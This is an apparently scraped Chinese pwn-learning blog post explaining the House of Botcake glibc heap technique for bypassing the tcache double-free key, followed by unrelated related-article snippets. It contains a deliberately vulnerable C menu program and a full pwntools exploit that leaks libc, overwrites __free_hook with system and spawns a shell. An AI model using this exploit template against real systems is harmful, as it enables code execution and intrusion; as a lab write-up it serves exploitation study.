【我的 PWN 学习手札】House of Botcake —— tcache key 绕过

server/2024/9/29 3:25:39/

参考自看雪课程:PWN探索篇


前言

我们知道,自对 tcachebin 添加了 key 进行了 double free 检查后,利用起来薛微有些困难。double free 绕过检查机制,实则是因为释放时会检查 tcachebin 对应 size 的所有 free chunk。那么如果第二次 free 的 chunk 落入到其他 tcachebin,或者 fastbin,就可以实现绕过。

放入 tcachebin 绕过 tcache key 实现的 double free:【我的 PWN 学习手札】House of Karui —— tcache key 绕过手法-CSDN博客 

放入其他 fastbin 绕过 tcache key 实现的 double free:【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客

本篇博客则通过借助 unsortedbin 实现 tcache key 的检查绕过,实现 double free


一、House of Botcake

废话不多说,之切入主题

我们连续 malloc 9块大于 fastbin chunk 大小的堆块,然后释放7块填充 tcachebin

 然后释放chunk8、chunk9,会落入 unsortedbin 并进行合并

这时候我们将一块 0x100 大小的 chunk 申请出来,然后再 free 掉 chunk9

 ok,现在你可能发现已经构成了double free 了,只要我们申请不是 0x100 大小的 chunk,就会从 unsortedbin 中进行切割。因此我们实际上是可以分一次或多次,将 chunk9 的一部分或全部申请出来。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# house of botcake
for i in range(9):add(i,0x90)
add(10,0x10)
for i in range(7):delete(i)
delete(7)
delete(8)
add(0,0x90)
delete(8)
pause()
add(0,0x70)
pause()
add(0,0x40)
pause()
edit(0,0x28,p64(0)*2+p64(0xa0)*2+p64(libc.sym['__free_hook']))
add(0,0x90)
add(0,0x90)
edit(0,0x8,p64(libc.sym['system']))
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()

http://www.ppmy.cn/server/123294.html

相关文章

9.24-k8s服务发布

Ingress 使用域名发布 K8S 服务 部署项目 一、先部署mariadb [rootk8s-master ~]# mkdir aaa [rootk8s-master ~]# cd aaa/ [rootk8s-master aaa]# # 先部署mariadb [rootk8s-master aaa]# # configmap [rootk8s-master aaa]# vim mariadb-configmap.yaml apiVersion: v1 ki…

速盾:高防cdn防御的时候会封ip吗?

高防CDN&#xff08;Content Delivery Network&#xff09;是一种用于提供网站或应用程序防护和内容分发的服务。它通过将内容分发到全球多个服务器上&#xff0c;帮助用户提高网站的访问速度和可用性&#xff0c;并提供强大的防护功能&#xff0c;包括防DDoS攻击、Web应用程序…

《凡人歌》中的IT职业启示录

《凡人歌》是由中央电视台、正午阳光、爱奇艺出品&#xff0c;简川訸执导&#xff0c;纪静蓉编剧&#xff0c;侯鸿亮任制片&#xff0c;殷桃、王骁领衔主演&#xff0c;章若楠、秦俊杰、张哲华、陈昊宇主演的都市话题剧 &#xff0c;改编自纪静蓉的小说《我不是废柴》。该剧于2…

Linux编译安装Mysql笔记

1.Mysql介绍 MySQL是一个广泛使用的开源关系型数据库管理系统&#xff08;RDBMS&#xff09;&#xff0c;它基于SQL&#xff08;Structured Query Language&#xff09;进行操作。MySQL是由瑞典MySQL AB公司开发的&#xff0c;后来被Sun Microsystems收购&#xff0c;最终成为…

C语言自定义类型:联合体

目录 前言一、联合体1.1 联合体类型的声明1.2 联合体的特点1.3 相同成员的结构体和联合体对比1.4 联合体大小的计算1.5 联合体的⼀个练习 总结 前言 前面我讲到C语言中的自定义结构——结构体&#xff0c;其实C语言中的自定义结构不只有结构体&#xff0c;还有枚举和联合体&am…

实战C++手写线程池

课程总目录 文章目录 一、项目必备基础概念1.1 并发和并行1.2 多线程的优势1.3 线程的消耗1.4 线程池的优势1.5 线程池的两种模式:fixed模式和cached模式1.6 线程同步之线程互斥1.7 线程同步之线程通信1.7.1 条件变量1.7.2 信号量1.8 项目设计图浏览二、线程池代码展示三、线程…

PyQt5 statusbar 放图片并设置图片大小和左右间距

在 PyQt5 中&#xff0c;状态栏&#xff08;QStatusBar&#xff09;通常用于显示窗口的状态信息或提示。虽然 PyQt5 的 QStatusBar 没有直接提供设置图片作为状态栏项&#xff08;QStatusBarItem&#xff09;的 API&#xff0c;但你可以通过添加一个 QWidget&#xff08;如 QLa…

长列表加载性能优化

一、长列表优化概述 列表是应用开发中最常见的一类开发场景&#xff0c;它可以将杂乱的信息整理成有规律、易于理解和操作的形式&#xff0c;便于用户查找和获取所需要的信息。应用程序中常见的列表场景有新闻列表、购物车列表、各类排行榜等。随着信息数据的累积&#xff0c;特…